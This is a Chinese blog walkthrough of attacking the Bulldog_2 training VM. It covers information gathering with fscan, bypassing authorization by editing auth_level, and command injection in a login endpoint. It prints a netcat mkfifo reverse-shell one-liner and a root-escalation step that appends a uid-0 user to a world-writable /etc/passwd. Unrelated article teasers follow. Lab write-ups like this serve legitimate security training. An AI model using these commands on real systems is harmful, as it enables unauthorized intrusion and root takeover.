Bulldog_2 靶机提权

news/2024/11/18 9:44:29/文章来源:https://www.cnblogs.com/hacksun/p/18292838

一、目标环境
攻击者(kali)、目标服务器(ubuntu)
二、信息收集
1、探测靶机
使用fscan进行探测
./fscan -h ip 段

发现目标地址,并且还发现对方开启了80端口
三、目标站点的访问以及检测

然后发现两个接口,分别是登陆和注册的

然后就是在登陆接口这边尝试一下弱口令

发现并不存在,然后通过findsomething插件发现一些目录

访问了一下/users/getUsers?limit=

发现大量的用户信息泄露,可以尝试使用这些用户在登陆接口那里进行爆破,但是所需时间较长成功的概率不大,所以这个想法就放弃了
然后访问注册页面

发现不能正常注册,于是想着从js文件入手,查看其页面的main文件

发现找到了有关用户注册的请求头信息,接着继续查找

然后又看到相关的请求体信息,接着就是通过抓包构造注册的数据包,看看能否成功注册

发现注册成功,然后在登陆接口直接登陆

接着再一次抓一下那个登陆的数据包,拦截返回包

发现里面有一个auth_level 认证的东西,然后在js里面查找一下

发现master_admin_user 这个字段,然想一下这个可能是admin的认证信息,尝试将原来的替换成admin管理员的


发现有了管理员admin的身份,说明了此处存在越权漏洞
接着就是访问那个之前看到的面板目录 --> /dashboard

下面就是随便输入账号密码,并且抓包

出现报错,表示不能直接访问/linkauthenticate 这个目录 然后上网查了一下,找到其开发的源文件

发现文件里面用到了命令执行函数,然后就是想着在账号密码这是不是可以执行命令,尝试通过靶机ping一下攻击机
命令:sudo tcpdump -i eth1 icmp and host 靶机IP and host 攻击者IP


可以通信之后可以尝试反弹shell了
命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 监听IP 端口 >/tmp/f



反弹成功
四、提权
1、查看拥有root权限的文件
命令:find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' ; 2>/dev/null

发现此处存在passwd提权,然后就是通过 perl方法将账号密码写入到/etc/passwd文件里
命令:
perl -le 'print crypt("hack", "123")' ---> 将密码加密并输出
echo 'wso:12RgFWKzAOIJM:0:0:root:/root:/bin/bash' >> /etc/passwd -->写入
python -c 'import pty; pty.spawn("/bin/bash")' --->交互式终端
su wso
密码

提权成功,获取最高权限

总结:
主要运用到的知识:构造数据包、越权、passwd提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/741406.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PySimpleGUI笔记

本博客详细介绍了 PySimpleGUI 的基本用法和高级功能,并通过实际案例演示了如何使用 PySimpleGUI 开发图形用户界面 (GUI) 应用。主要内容包括:基本用法:介绍了 PySimpleGUI 的基本组件和窗口创建方法,通过简单示例展示了如何创建和管理窗口。 事件处理:讲解了如何处理用户…

忆 2015 硅谷之行

2015 硅谷之行 ,是我脑海里一段充满海蓝色的记忆。 有点像刘姥姥进大观园,也有点像进入另外一个我不曾幻想过的世界。 郊区很美 我们住在郊区,人很少,景色很美。每次去吃饭,还得驱车 15 分钟左右去附近最近的餐厅。Google 总部 Google 对于每个程序员来讲,都是一个梦幻的…

py并发编程

并发编程(并发,并行,同步,异步) 通俗理解并发编程中的相关核心概念 核心概念:进程、线程CPU的作用计算机的核心是CPU,它承担了所有的计算任务。它就像一座工厂,时刻在运行。 CPU的核数(多核计算机多个CPU,大部分情况下也只是用了一核CPU)假定工厂的电力有限,一次只…

Android studio导出apk文件

在Android studio中打开项目 选择build——》 build bundle(s)/apk(s)——》build apk(s) 加载完成后点击右下角弹窗的local(或者在  项目地址\app\build\outputs\apk\debug  中找到apk文件) 将apk文件复制到对应设备上就可以啦(最好别用qq)

JDK、JRE、JVM

JDK:Java Development Kit JRE: Java Runtime Environment JVM: Java Virtual Machine

[CINTA] 具体数论与代数阅读笔记——第一章 整数和二进制(含加、乘、除)

这里是王立斌老师的《具体数论与代数》(CINTA)的阅读笔记前言 这本书说自己是计算机专业数学入门之入门,成为读者攻读其他经典著作的垫脚石,但个人以为足矣替换掉本校内不知所云的、抽象的、让学生考完后马上全忘的那些课程。本书的 GitHub 仓库在这里。 该笔记并非单纯的整…

热爱无限

青春不在年华,而在心境;青春不是桃面、丹唇、柔膝,而是深沉的意志、恢弘的想象、炙热的情感,更是生命中无限的热爱。它使你有一台天线,从天上接受着勇气与力量的信号,使你青春永驻。 怀揣着热爱,我投入到无限的学习之中。当我第一次接触信息学竞赛时,就被其中无限的知识…

Franka Robot 错误处理

使用 FCI 时,您会遇到多种错误,这些错误可能是由于用户发送的不合规命令、通信问题或机器人行为而导致的。以下小节详细介绍了最相关的错误。有关完整列表,请查看 API文档。请注意,发生错误后,您可以自动清除错误并继续使用该franka::Robot::automaticErrorRecovery()命令…

Mybatis Plus 3.X版本的insert填充自增id的IdType.ID_WORKER策略源码分析

总结/朱季谦 某天同事突然问我,你知道Mybatis Plus的insert方法,插入数据后自增id是如何自增的吗? 我愣了一下,脑海里只想到,当在POJO类的id设置一个自增策略后,例如@TableId(value = "id",type = IdType.ID_WORKER)的注解策略时,就能实现在每次数据插入数据库…

共享ip服务器实现外网访问

信息 服务器厂商:炎火云 系统:Windows-2012R2-Datacenter-cn 面板:phpstudy 共享ip服务器实现外网访问思路 通过nat端口映射将内网端口映射到共享ip(即公网ip)端口,实现使用共享ip+端口访问服务器 步骤 首先确定好服务器端口 我这里用的是默认的80端口接着要在防火墙里面…

MySQL-18.主从复制

C-18.主从复制 1.主从复制概述1.1 如何提升数据库并发能力 在实际工作中,我们常常将Redis作为缓存与MySQL配合来使用,当有请求的时候,首先会从缓存中进行查找,如果存在就直接取出。如果不存在再方法数据库,这样就提升了读取的效率,也减少了对后端数据库的访问压力。Redis…

Jetbrains IDE (IntelliJ) 启用原生Wayland支持

启用最新jbr 打开你要设置的IDE,ctrl+shift+a 后输入“runtine”,回车,在显示的窗口中选择jbr21的最新版本,如图所示:设置jvm参数 确认后,点击窗口右下角的小齿轮(如果已经打开了任何项目,先关掉),选择“Edit Custom VM Options“,在出现的文本框最后面加上这么一行:…